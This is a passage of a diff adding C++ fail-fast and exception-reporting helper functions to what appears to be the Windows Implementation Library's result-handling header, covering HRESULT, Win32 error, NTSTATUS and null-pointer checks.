<__RFF_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_NOT_CLASS(PointerT)> + _Post_satisfies_(return == pointer) _When_(pointer == nullptr, _Analysis_noreturn_) + __RFF_CONDITIONAL_TEMPLATE_METHOD(RESULT_NORETURN_NULL PointerT, FailFast_IfNullAlloc)(__RFF_CONDITIONAL_FN_PARAMS _Pre_maybenull_ PointerT pointer) + { + if (pointer == nullptr) + { + __RFF_CALL_INTERNAL_METHOD(_FailFast_NullAlloc)(__RFF_CONDITIONAL_FN_CALL_ONLY); + } + return pointer; + } + + // Should be decorated WI_NOEXCEPT, but conflicts with forceinline. + template <__RFF_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_CLASS(PointerT)> + __RFF_CONDITIONAL_TEMPLATE_METHOD(void, FailFast_IfNullAlloc)(__RFF_CONDITIONAL_FN_PARAMS const PointerT& pointer) + { + if (pointer == nullptr) + { + __RFF_CALL_INTERNAL_METHOD(_FailFast_NullAlloc)(__RFF_CONDITIONAL_FN_CALL_ONLY); + } + } + + _Post_satisfies_(return == condition) _When_(condition, _Analysis_noreturn_) + __RFF_CONDITIONAL_METHOD(bool, FailFast_HrIf)(__RFF_CONDITIONAL_FN_PARAMS HRESULT hr, bool condition) WI_NOEXCEPT + { + if (condition) + { + __RFF_CALL_INTERNAL_METHOD(_FailFast_Hr)(__RFF_CONDITIONAL_FN_CALL hr); + } + return condition; + } + + _Post_satisfies_(return == condition) _When_(!condition, _Analysis_noreturn_) + __RFF_CONDITIONAL_METHOD(bool, FailFast_HrIfFalse)(__RFF_CONDITIONAL_FN_PARAMS HRESULT hr, bool condition) WI_NOEXCEPT + { + if (!condition) + { + __RFF_CALL_INTERNAL_METHOD(_FailFast_Hr)(__RFF_CONDITIONAL_FN_CALL hr); + } + return condition; + } + + // Should be decorated WI_NOEXCEPT, but conflicts with forceinline. + template <__RFF_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_NOT_CLASS(PointerT)> + _Post_satisfies_(return == pointer) _When_(pointer == nullptr, _Analysis_noreturn_) + __RFF_CONDITIONAL_TEMPLATE_METHOD(RESULT_NORETURN_NULL PointerT, FailFast_HrIfNull)(__RFF_CONDITIONAL_FN_PARAMS HRESULT hr, _Pre_maybenull_ PointerT pointer) + { + if (pointer == nullptr) + { + __RFF_CALL_INTERNAL_METHOD(_FailFast_Hr)(__RFF_CONDITIONAL_FN_CALL hr); + } + return pointer; + } + + // Should be decorated WI_NOEXCEPT, but conflicts with forceinline. + template <__RFF_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_CLASS(PointerT)> + __RFF_CONDITIONAL_TEMPLATE_METHOD(void, FailFast_HrIfNull)(__RFF_CONDITIONAL_FN_PARAMS HRESULT hr, _In_opt_ const PointerT& pointer) + { + if (pointer == nullptr) + { + __RFF_CALL_INTERNAL_METHOD(_FailFast_Hr)(__RFF_CONDITIONAL_FN_CALL hr); + } + } + + _Post_satisfies_(return == condition) _When_(condition, _Analysis_noreturn_) + __RFF_CONDITIONAL_METHOD(bool, FailFast_GetLastErrorIf)(__RFF_CONDITIONAL_FN_PARAMS bool condition) WI_NOEXCEPT + { + if (condition) + { + __RFF_CALL_INTERNAL_METHOD(_FailFast_GetLastError)(__RFF_CONDITIONAL_FN_CALL_ONLY); + } + return condition; + } + + _Post_satisfies_(return == condition) _When_(!condition, _Analysis_noreturn_) + __RFF_CONDITIONAL_METHOD(bool, FailFast_GetLastErrorIfFalse)(__RFF_CONDITIONAL_FN_PARAMS bool condition) WI_NOEXCEPT + { + if (!condition) + { + __RFF_CALL_INTERNAL_METHOD(_FailFast_GetLastError)(__RFF_CONDITIONAL_FN_CALL_ONLY); + } + return condition; + } + + // Should be decorated WI_NOEXCEPT, but conflicts with forceinline. + template <__RFF_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_NOT_CLASS(PointerT)> + _Post_satisfies_(return == pointer) _When_(pointer == nullptr, _Analysis_noreturn_) + __RFF_CONDITIONAL_TEMPLATE_METHOD(RESULT_NORETURN_NULL PointerT, FailFast_GetLastErrorIfNull)(__RFF_CONDITIONAL_FN_PARAMS _Pre_maybenull_ PointerT pointer) + { + if (pointer == nullptr) + { + __RFF_CALL_INTERNAL_METHOD(_FailFast_GetLastError)(__RFF_CONDITIONAL_FN_CALL_ONLY); + } + return pointer; + } + + // Should be decorated WI_NOEXCEPT, but conflicts with forceinline. + template <__RFF_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_CLASS(PointerT)> + __RFF_CONDITIONAL_TEMPLATE_METHOD(void, FailFast_GetLastErrorIfNull)(__RFF_CONDITIONAL_FN_PARAMS _In_opt_ const PointerT& pointer) + { + if (pointer == nullptr) + { + __RFF_CALL_INTERNAL_METHOD(_FailFast_GetLastError)(__RFF_CONDITIONAL_FN_CALL_ONLY); + } + } + + _Post_satisfies_(return == status) _When_(FAILED_NTSTATUS(status), _Analysis_noreturn_) + __RFF_CONDITIONAL_METHOD(NTSTATUS, FailFast_IfNtStatusFailed)(__RFF_CONDITIONAL_FN_PARAMS NTSTATUS status) WI_NOEXCEPT + { + if (FAILED_NTSTATUS(status)) + { + __RFF_CALL_INTERNAL_METHOD(_FailFast_NtStatus)(__RFF_CONDITIONAL_FN_CALL status); + } + return status; + } + + __RFF_DIRECT_NORET_METHOD(void, FailFast_HrMsg)(__RFF_DIRECT_FN_PARAMS HRESULT hr, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT + { + va_list argList; + va_start(argList, formatString); + __RFF_FN_LOCALS; + wil::details::ReportFailure_HrMsg(__RFF_DIRECT_FN_CALL hr, formatString, argList); + } + + __RFF_DIRECT_NORET_METHOD(void, FailFast_Win32Msg)(__RFF_DIRECT_FN_PARAMS DWORD err, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT + { + va_list argList; + va_start(argList, formatString); + __RFF_FN_LOCALS; + wil::details::ReportFailure_Win32Msg(__RFF_DIRECT_FN_CALL err, formatString, argList); + } + + __RFF_DIRECT_NORET_METHOD(void, FailFast_GetLastErrorMsg)(__RFF_DIRECT_FN_PARAMS _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT + { + va_list argList; + va_start(argList, formatString); + __RFF_FN_LOCALS; + wil::details::ReportFailure_GetLastErrorMsg(__RFF_DIRECT_FN_CALL formatString, argList); + } + + __RFF_DIRECT_NORET_METHOD(void, FailFast_NtStatusMsg)(__RFF_DIRECT_FN_PARAMS NTSTATUS status, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT + { + va_list argList; + va_start(argList, formatString); + __RFF_FN_LOCALS; + wil::details::ReportFailure_NtStatusMsg(__RFF_DIRECT_FN_CALL status, formatString, argList); + } + +#ifdef WIL_ENABLE_EXCEPTIONS + __RFF_DIRECT_NORET_METHOD(void, FailFast_CaughtExceptionMsg)(__RFF_DIRECT_FN_PARAMS _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT + { + va_list argList; + va_start(argList, formatString); + __RFF_FN_LOCALS; + wil::details::ReportFailure_CaughtExceptionMsg(__RFF_DIRECT_FN_CALL formatString, argList); + } +#endif + + __RFF_INTERNAL_NOINLINE_NORET_METHOD(_FailFast_HrMsg)(__RFF_INTERNAL_NOINLINE_FN_PARAMS HRESULT hr, _Printf_format_string_ PCSTR formatString, va_list argList) WI_NOEXCEPT + { + __RFF_FN_LOCALS; + wil::details::ReportFailure_HrMsg(__RFF_INTERNAL_NOINLINE_FN_CALL hr, formatString, argList); + } + + __RFF_INTERNAL_NOINLINE_NORET_METHOD(_FailFast_GetLastErrorMsg)(__RFF_INTERNAL_NOINLINE_FN_PARAMS _Printf_format_string_ PCSTR formatString, va_list argList) WI_NOEXCEPT + { + __RFF_FN_LOCALS; + wil::details::ReportFailure_GetLastErrorMsg(__RFF_INTERNAL_NOINLINE_FN_CALL formatString, argList); + } + + __RFF_INTERNAL_NOINLINE_NORET_METHOD(_FailFast_Win32Msg)(__RFF_INTERNAL_NOINLINE_FN_PARAMS DWORD err, _Printf_format_string_ PCSTR formatString, va_list argList) WI_NOEXCEPT + { + __RFF_FN_LOCALS; + wil::details::ReportFailure_Win32Msg(__RFF_INTERNAL_NOINLINE_FN_CALL err, formatString, argList); + } + + __RFF_INTERNAL_NOINLINE_NORET_METHOD(_FailFast_NullAllocMsg)(__RFF_INTERNAL_NOINLINE_FN_PARAMS _Printf_format_string_ PCSTR formatString, va_list argList) WI_NOEXCEPT + { + __RFF_FN_LOCALS; + wil::details::ReportFailure_HrMsg(__RFF_INTERNAL_NOINLINE_FN_CALL E_OUTOFMEMORY, formatString, argList); + } + + __RFF_INTERNAL_NOINLINE_NORET_METHOD(_FailFast_NtStatusMsg)(__RFF_INTERNAL_NOINLINE_FN_PARAMS NTSTATUS status, _Printf_format_string_ PCSTR formatString, va_list argList) WI_NOEXCEPT + { + __RFF_FN_LOCALS; + wil::details::ReportFailure_NtStatusMsg(__RFF_INTERNAL_NOINLINE_FN_CALL status, formatString, argList); + } + + _Post_satisfies_(return == hr) _When_(FAILED(hr), _Analysis_noreturn_) + __RFF_CONDITIONAL_NOINLINE_METHOD(HRESULT, FailFast_IfFailedMsg)(__RFF_CONDITIONAL_FN_PARAMS HRESULT hr, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT + { + if (FAILED(hr)) + { + va_list argList; + va_start(argList, formatString); + __RFF_CALL_INTERNAL_NOINLINE_METHOD(_FailFast_HrMsg)(__RFF_CONDITIONAL_NOINLINE_FN_CALL hr, formatString, argList); + } + return hr; + } + + _Post_satisfies_(return == ret) _When_(!ret, _Analysis_noreturn_) + __RFF_CONDITIONAL_NOINLINE_METHOD(BOOL, FailFast_IfWin32BoolFalseMsg)(__RFF_CONDITIONAL_FN_PARAMS BOOL ret, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT + { + if (!ret) + { + va_list argList; + va_start(argList, formatString); + __RFF_CALL_INTERNAL_NOINLINE_METHOD(_FailFast_GetLastErrorMsg)(__RFF_CONDITIONAL_NOINLINE_FN_CALL formatString, argList); + } + return ret; + } + + _Post_satisfies_(return == err) _When_(FAILED_WIN32(err), _Analysis_noreturn_) + __RFF_CONDITIONAL_NOINLINE_METHOD(DWORD, FailFast_IfWin32ErrorMsg)(__RFF_CONDITIONAL_FN_PARAMS DWORD err, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT + { + if (FAILED_WIN32(err)) + { + va_list argList; + va_start(argList, formatString); + __RFF_CALL_INTERNAL_NOINLINE_METHOD(_FailFast_Win32Msg)(__RFF_CONDITIONAL_NOINLINE_FN_CALL err, formatString, argList); + } + return err; + } + + _Post_satisfies_(return == handle) _When_(handle == INVALID_HANDLE_VALUE, _Analysis_noreturn_) + __RFF_CONDITIONAL_NOINLINE_METHOD(HANDLE, FailFast_IfHandleInvalidMsg)(__RFF_CONDITIONAL_FN_PARAMS HANDLE handle, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT + { + if (handle == INVALID_HANDLE_VALUE) + { + va_list argList; + va_start(argList, formatString); + __RFF_CALL_INTERNAL_NOINLINE_METHOD(_FailFast_GetLastErrorMsg)(__RFF_CONDITIONAL_NOINLINE_FN_CALL formatString, argList); + } + return handle; + } + + _Post_satisfies_(return == handle) _When_(handle == nullptr, _Analysis_noreturn_) + __RFF_CONDITIONAL_NOINLINE_METHOD(RESULT_NORETURN_NULL HANDLE, FailFast_IfHandleNullMsg)(__RFF_CONDITIONAL_FN_PARAMS HANDLE handle, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT + { + if (handle == nullptr) + { + va_list argList; + va_start(argList, formatString); + __RFF_CALL_INTERNAL_NOINLINE_METHOD(_FailFast_GetLastErrorMsg)(__RFF_CONDITIONAL_NOINLINE_FN_CALL formatString, argList); + } + return handle; + } + + template <__RFF_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_NOT_CLASS(PointerT)> + _Post_satisfies_(return == pointer) _When_(pointer == nullptr, _Analysis_noreturn_) + __RFF_CONDITIONAL_NOINLINE_TEMPLATE_METHOD(RESULT_NORETURN_NULL PointerT, FailFast_IfNullAllocMsg)(__RFF_CONDITIONAL_FN_PARAMS _Pre_maybenull_ PointerT pointer, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT + { + if (pointer == nullptr) + { + va_list argList; + va_start(argList, formatString); + __RFF_CALL_INTERNAL_NOINLINE_METHOD(_FailFast_NullAllocMsg)(__RFF_CONDITIONAL_NOINLINE_FN_CALL_ONLY, formatString, argList); + } + return pointer; + } + + template <__RFF_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_CLASS(PointerT)> + __RFF_CONDITIONAL_NOINLINE_TEMPLATE_METHOD(void, FailFast_IfNullAllocMsg)(__RFF_CONDITIONAL_FN_PARAMS const PointerT& pointer, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT + { + if (pointer == nullptr) + { + va_list argList; + va_start(argList, formatString); + __RFF_CALL_INTERNAL_NOINLINE_METHOD(_FailFast_NullAllocMsg)(__RFF_CONDITIONAL_NOINLINE_FN_CALL_ONLY, formatString, argList); + } + } + + _Post_satisfies_(return == condition) _When_(condition, _Analysis_noreturn_) + __RFF_CONDITIONAL_NOINLINE_METHOD(bool, FailFast_HrIfMsg)(__RFF_CONDITIONAL_FN_PARAMS HRESULT hr, bool condition, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT + { + if (condition) + { + va_list argList; + va_start(argList, formatString); + __RFF_CALL_INTERNAL_NOINLINE_METHOD(_FailFast_HrMsg)(__RFF_CONDITIONAL_NOINLINE_FN_CALL hr, formatString, argList); + } + return condition; + } + + _Post_satisfies_(return == condition) _When_(!condition, _Analysis_noreturn_) + __RFF_CONDITIONAL_NOINLINE_METHOD(bool, FailFast_HrIfFalseMsg)(__RFF_CONDITIONAL_FN_PARAMS HRESULT hr, bool condition, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT + { + if (!condition) + { + va_list argList; + va_start(argList, formatString); + __RFF_CALL_INTERNAL_NOINLINE_METHOD(_FailFast_HrMsg)(__RFF_CONDITIONAL_NOINLINE_FN_CALL hr, formatString, argList); + } + return condition; + } + + template <__RFF_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_NOT_CLASS(PointerT)> + _Post_satisfies_(return == pointer) _When_(pointer == nullptr, _Analysis_noreturn_) + __RFF_CONDITIONAL_NOINLINE_TEMPLATE_METHOD(RESULT_NORETURN_NULL PointerT, FailFast_HrIfNullMsg)(__RFF_CONDITIONAL_FN_PARAMS HRESULT hr, _Pre_maybenull_ PointerT pointer, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT + { + if (pointer == nullptr) + { + va_list argList; + va_start(argList, formatString); + __RFF_CALL_INTERNAL_NOINLINE_METHOD(_FailFast_HrMsg)(__RFF_CONDITIONAL_NOINLINE_FN_CALL hr, formatString, argList); + } + return pointer; + } + + template <__RFF_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_CLASS(PointerT)> + __RFF_CONDITIONAL_NOINLINE_TEMPLATE_METHOD(void, FailFast_HrIfNullMsg)(__RFF_CONDITIONAL_FN_PARAMS HRESULT hr, _In_opt_ const PointerT& pointer, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT + { + if (pointer == nullptr) + { + va_list argList; + va_start(argList, formatString); + __RFF_CALL_INTERNAL_NOINLINE_METHOD(_FailFast_HrMsg)(__RFF_CONDITIONAL_NOINLINE_FN_CALL hr, formatString, argList); + } + } + + _Post_satisfies_(return == condition) _When_(condition, _Analysis_noreturn_) + __RFF_CONDITIONAL_NOINLINE_METHOD(bool, FailFast_GetLastErrorIfMsg)(__RFF_CONDITIONAL_FN_PARAMS bool condition, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT + { + if (condition) + { + va_list argList; + va_start(argList, formatString); + __RFF_CALL_INTERNAL_NOINLINE_METHOD(_FailFast_GetLastErrorMsg)(__RFF_CONDITIONAL_NOINLINE_FN_CALL formatString, argList); + } + return condition; + } + + _Post_satisfies_(return == condition) _When_(!condition, _Analysis_noreturn_) + __RFF_CONDITIONAL_NOINLINE_METHOD(bool, FailFast_GetLastErrorIfFalseMsg)(__RFF_CONDITIONAL_FN_PARAMS bool condition, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT + { + if (!condition) + { + va_list argList; + va_start(argList, formatString); + __RFF_CALL_INTERNAL_NOINLINE_METHOD(_FailFast_GetLastErrorMsg)(__RFF_CONDITIONAL_NOINLINE_FN_CALL formatString, argList); + } + return condition; + } + + template <__RFF_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_NOT_CLASS(PointerT)> + _Post_satisfies_(return == pointer) _When_(pointer == nullptr, _Analysis_noreturn_) + __RFF_CONDITIONAL_NOINLINE_TEMPLATE_METHOD(RESULT_NORETURN_NULL PointerT, FailFast_GetLastErrorIfNullMsg)(__RFF_CONDITIONAL_FN_PARAMS _Pre_maybenull_ PointerT pointer, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT + { + if (pointer == nullptr) + { + va_list argList; + va_start(argList, formatString); + __RFF_CALL_INTERNAL_NOINLINE_METHOD(_FailFast_GetLastErrorMsg)(__RFF_CONDITIONAL_NOINLINE_FN_CALL formatString, argList); + } + return pointer; + } + + template <__RFF_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_CLASS(PointerT)> + __RFF_CONDITIONAL_NOINLINE_TEMPLATE_METHOD(void, FailFast_GetLastErrorIfNullMsg)(__RFF_CONDITIONAL_FN_PARAMS _In_opt_ const PointerT& pointer, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT + { + if (pointer == nullptr) + { + va_list argList; + va_start(argList, formatString); + __RFF_CALL_INTERNAL_NOINLINE_METHOD(_FailFast_GetLastErrorMsg)(__RFF_CONDITIONAL_NOINLINE_FN_CALL formatString, argList); + } + } + + _Post_satisfies_(return == status) _When_(FAILED_NTSTATUS(status), _Analysis_noreturn_) + __RFF_CONDITIONAL_NOINLINE_METHOD(NTSTATUS, FailFast_IfNtStatusFailedMsg)(__RFF_CONDITIONAL_FN_PARAMS NTSTATUS status, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT + { + if (FAILED_NTSTATUS(status)) + { + va_list argList; + va_start(argList, formatString); + __RFF_CALL_INTERNAL_NOINLINE_METHOD(_FailFast_NtStatusMsg)(__RFF_CONDITIONAL_NOINLINE_FN_CALL status, formatString, argList); + } + return status; + } + + __RFF_DIRECT_NORET_METHOD(void, FailFast_Unexpected)(__RFF_DIRECT_FN_PARAMS_ONLY) WI_NOEXCEPT + { + __RFF_FN_LOCALS; + wil::details::ReportFailure_Hr(__RFF_DIRECT_FN_CALL E_UNEXPECTED); + } + + __RFF_INTERNAL_NORET_METHOD(_FailFast_Unexpected)(__RFF_INTERNAL_FN_PARAMS_ONLY) WI_NOEXCEPT + { + __RFF_FN_LOCALS; + wil::details::ReportFailure_Hr(__RFF_INTERNAL_FN_CALL E_UNEXPECTED); + } + + _Post_satisfies_(return == condition) _When_(condition, _Analysis_noreturn_) + __RFF_CONDITIONAL_METHOD(bool, FailFast_If)(__RFF_CONDITIONAL_FN_PARAMS bool condition) WI_NOEXCEPT + { + if (condition) + { + __RFF_CALL_INTERNAL_METHOD(_FailFast_Unexpected)(__RFF_CONDITIONAL_FN_CALL_ONLY); + } + return condition; + } + + _Post_satisfies_(return == condition) _When_(!condition, _Analysis_noreturn_) + __RFF_CONDITIONAL_METHOD(bool, FailFast_IfFalse)(__RFF_CONDITIONAL_FN_PARAMS bool condition) WI_NOEXCEPT + { + if (!condition) + { + __RFF_CALL_INTERNAL_METHOD(_FailFast_Unexpected)(__RFF_CONDITIONAL_FN_CALL_ONLY); + } + return condition; + } + + // Should be decorated WI_NOEXCEPT, but conflicts with forceinline. + template <__RFF_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_NOT_CLASS(PointerT)> + __WI_SUPPRESS_NULLPTR_ANALYSIS + _Post_satisfies_(return == pointer) _When_(pointer == nullptr, _Analysis_noreturn_) + __RFF_CONDITIONAL_TEMPLATE_METHOD(RESULT_NORETURN_NULL PointerT, FailFast_IfNull)(__RFF_CONDITIONAL_FN_PARAMS _Pre_maybenull_ PointerT pointer) + { + if (pointer == nullptr) + { + __RFF_CALL_INTERNAL_METHOD(_FailFast_Unexpected)(__RFF_CONDITIONAL_FN_CALL_ONLY); + } + return pointer; + } + + // Should be decorated WI_NOEXCEPT, but conflicts with forceinline. + template <__RFF_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_CLASS(PointerT)> + __WI_SUPPRESS_NULLPTR_ANALYSIS + __RFF_CONDITIONAL_TEMPLATE_METHOD(void, FailFast_IfNull)(__RFF_CONDITIONAL_FN_PARAMS _In_opt_ const PointerT& pointer) + { + if (pointer == nullptr) + { + __RFF_CALL_INTERNAL_METHOD(_FailFast_Unexpected)(__RFF_CONDITIONAL_FN_CALL_ONLY); + } + } + + __RFF_DIRECT_NORET_METHOD(void, FailFast_UnexpectedMsg)(__RFF_DIRECT_FN_PARAMS _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT + { + va_list argList; + va_start(argList, formatString); + __RFF_FN_LOCALS; + wil::details::ReportFailure_HrMsg(__RFF_DIRECT_FN_CALL E_UNEXPECTED, formatString, argList); + } + + __RFF_INTERNAL_NOINLINE_NORET_METHOD(_FailFast_UnexpectedMsg)(__RFF_INTERNAL_NOINLINE_FN_PARAMS _Printf_format_string_ PCSTR formatString, va_list argList) WI_NOEXCEPT + { + __RFF_FN_LOCALS; + wil::details::ReportFailure_HrMsg(__RFF_INTERNAL_NOINLINE_FN_CALL E_UNEXPECTED, formatString, argList); + } + + _Post_satisfies_(return == condition) _When_(condition, _Analysis_noreturn_) + __RFF_CONDITIONAL_NOINLINE_METHOD(bool, FailFast_IfMsg)(__RFF_CONDITIONAL_FN_PARAMS bool condition, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT + { + if (condition) + { + va_list argList; + va_start(argList, formatString); + __RFF_CALL_INTERNAL_NOINLINE_METHOD(_FailFast_UnexpectedMsg)(__RFF_CONDITIONAL_NOINLINE_FN_CALL formatString, argList); + } + return condition; + } + + _Post_satisfies_(return == condition) _When_(!condition, _Analysis_noreturn_) + __RFF_CONDITIONAL_NOINLINE_METHOD(bool, FailFast_IfFalseMsg)(__RFF_CONDITIONAL_FN_PARAMS bool condition, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT + { + if (!condition) + { + va_list argList; + va_start(argList, formatString); + __RFF_CALL_INTERNAL_NOINLINE_METHOD(_FailFast_UnexpectedMsg)(__RFF_CONDITIONAL_NOINLINE_FN_CALL formatString, argList); + } + return condition; + } + + template <__RFF_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_NOT_CLASS(PointerT)> + _Post_satisfies_(return == pointer) _When_(pointer == nullptr, _Analysis_noreturn_) + __RFF_CONDITIONAL_NOINLINE_TEMPLATE_METHOD(RESULT_NORETURN_NULL PointerT, FailFast_IfNullMsg)(__RFF_CONDITIONAL_FN_PARAMS _Pre_maybenull_ PointerT pointer, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT + { + if (pointer == nullptr) + { + va_list argList; + va_start(argList, formatString); + __RFF_CALL_INTERNAL_NOINLINE_METHOD(_FailFast_UnexpectedMsg)(__RFF_CONDITIONAL_NOINLINE_FN_CALL formatString, argList); + } + return pointer; + } + + template <__RFF_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_CLASS(PointerT)> + __RFF_CONDITIONAL_NOINLINE_TEMPLATE_METHOD(void, FailFast_IfNullMsg)(__RFF_CONDITIONAL_FN_PARAMS _In_opt_ const PointerT& pointer, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT + { + if (pointer == nullptr) + { + va_list argList; + va_start(argList, formatString); + __RFF_CALL_INTERNAL_NOINLINE_METHOD(_FailFast_UnexpectedMsg)(__RFF_CONDITIONAL_NOINLINE_FN_CALL formatString, argList); + } + } + + //***************************************************************************** + // FailFast Immediate Macros + //***************************************************************************** + + __RFF_DIRECT_NORET_METHOD(void, FailFastImmediate_Unexpected)() WI_NOEXCEPT + { + __fastfail(FAST_FAIL_FATAL_APP_EXIT); + } + + __RFF_INTERNAL_NORET_METHOD(_FailFastImmediate_Unexpected)() WI_NOEXCEPT + { + __fastfail(FAST_FAIL_FATAL_APP_EXIT); + } + + _Post_satisfies_(return == hr) _When_(FAILED(hr), _Analysis_noreturn_) + __RFF_CONDITIONAL_METHOD(HRESULT, FailFastImmediate_IfFailed)(HRESULT hr) WI_NOEXCEPT + { + if (FAILED(hr)) + { + __RFF_CALL_INTERNAL_METHOD(_FailFastImmediate_Unexpected)(); + } + return hr; + } + + _Post_satisfies_(return == condition) _When_(condition, _Analysis_noreturn_) + __RFF_CONDITIONAL_METHOD(bool, FailFastImmediate_If)(bool condition) WI_NOEXCEPT + { + if (condition) + { + __RFF_CALL_INTERNAL_METHOD(_FailFastImmediate_Unexpected)(); + } + return condition; + } + + _Post_satisfies_(return == condition) _When_(!condition, _Analysis_noreturn_) + __RFF_CONDITIONAL_METHOD(bool, FailFastImmediate_IfFalse)(bool condition) WI_NOEXCEPT + { + if (!condition) + { + __RFF_CALL_INTERNAL_METHOD(_FailFastImmediate_Unexpected)(); + } + return condition; + } + + // Should be decorated WI_NOEXCEPT, but conflicts with forceinline. + template <__RFF_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_NOT_CLASS(PointerT)> + _Post_satisfies_(return == pointer) _When_(pointer == nullptr, _Analysis_noreturn_) + __RFF_CONDITIONAL_TEMPLATE_METHOD(RESULT_NORETURN_NULL PointerT, FailFastImmediate_IfNull)(_Pre_maybenull_ PointerT pointer) + { + if (pointer == nullptr) + { + __RFF_CALL_INTERNAL_METHOD(_FailFastImmediate_Unexpected)(); + } + return pointer; + } + + // Should be decorated WI_NOEXCEPT, but conflicts with forceinline. + template <__RFF_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_CLASS(PointerT)> + __RFF_CONDITIONAL_TEMPLATE_METHOD(void, FailFastImmediate_IfNull)(_In_opt_ const PointerT& pointer) + { + if (pointer == nullptr) + { + __RFF_CALL_INTERNAL_METHOD(_FailFastImmediate_Unexpected)(); + } + } + + _Post_satisfies_(return == status) _When_(FAILED_NTSTATUS(status), _Analysis_noreturn_) + __RFF_CONDITIONAL_METHOD(NTSTATUS, FailFastImmediate_IfNtStatusFailed)(NTSTATUS status) WI_NOEXCEPT + { + if (FAILED_NTSTATUS(status)) + { + __RFF_CALL_INTERNAL_METHOD(_FailFastImmediate_Unexpected)(); + } + return status; + } + } // namespace __RFF_NS_NAME + + namespace __R_NS_NAME + { + //***************************************************************************** + // Exception Macros + //***************************************************************************** + +#ifdef WIL_ENABLE_EXCEPTIONS + __R_DIRECT_NORET_METHOD(void, Throw_Hr)(__R_DIRECT_FN_PARAMS HRESULT hr) + { + __R_FN_LOCALS; + wil::details::ReportFailure_Hr(__R_DIRECT_FN_CALL hr); + } + + __R_DIRECT_NORET_METHOD(void, Throw_Win32)(__R_DIRECT_FN_PARAMS DWORD err) + { + __R_FN_LOCALS; + wil::details::ReportFailure_Win32(__R_DIRECT_FN_CALL err); + } + + __R_DIRECT_NORET_METHOD(void, Throw_GetLastError)(__R_DIRECT_FN_PARAMS_ONLY) + { + __R_FN_LOCALS; + wil::details::ReportFailure_GetLastError(__R_DIRECT_FN_CALL_ONLY); + } + + __R_DIRECT_NORET_METHOD(void, Throw_NtStatus)(__R_DIRECT_FN_PARAMS NTSTATUS status) + { + __R_FN_LOCALS; + wil::details::ReportFailure_NtStatus(__R_DIRECT_FN_CALL status); + } + + __R_DIRECT_NORET_METHOD(void, Throw_CaughtException)(__R_DIRECT_FN_PARAMS_ONLY) + { + __R_FN_LOCALS; + wil::details::ReportFailure_CaughtException(__R_DIRECT_FN_CALL_ONLY); + } + + __R_INTERNAL_NORET_METHOD(_Throw_Hr)(__R_INTERNAL_FN_PARAMS HRESULT hr) + { + __R_FN_LOCALS; + wil::details::ReportFailure_Hr(__R_INTERNAL_FN_CALL hr); + } + + __R_INTERNAL_NORET_METHOD(_Throw_GetLastError)(__R_INTERNAL_FN_PARAMS_ONLY) + { + __R_FN_LOCALS; + wil::details::ReportFailure_GetLastError(__R_INTERNAL_FN_CALL_ONLY); + } + + __R_INTERNAL_NORET_METHOD(_Throw_Win32)(__R_INTERNAL_FN_PARAMS DWORD err) + { + __R_FN_LOCALS; + wil::details::ReportFailure_Win32(__R_INTERNAL_FN_CALL err); + } + + __R_INTERNAL_NORET_METHOD(_Throw_NullAlloc)(__R_INTERNAL_FN_PARAMS_ONLY) + { + __R_FN_LOCALS; + wil::details::ReportFailure_Hr(__R_INTERNAL_FN_CALL E_OUTOFMEMORY); + } + + __R_INTERNAL_NORET_METHOD(_Throw_NtStatus)(__R_INTERNAL_FN_PARAMS NTSTATUS status) + { + __R_FN_LOCALS; + wil::details::ReportFailure_NtStatus(__R_INTERNAL_FN_CALL status); + } + + _Post_satisfies_(return == hr) _When_(FAILED(hr), _Analysis_noreturn_) + 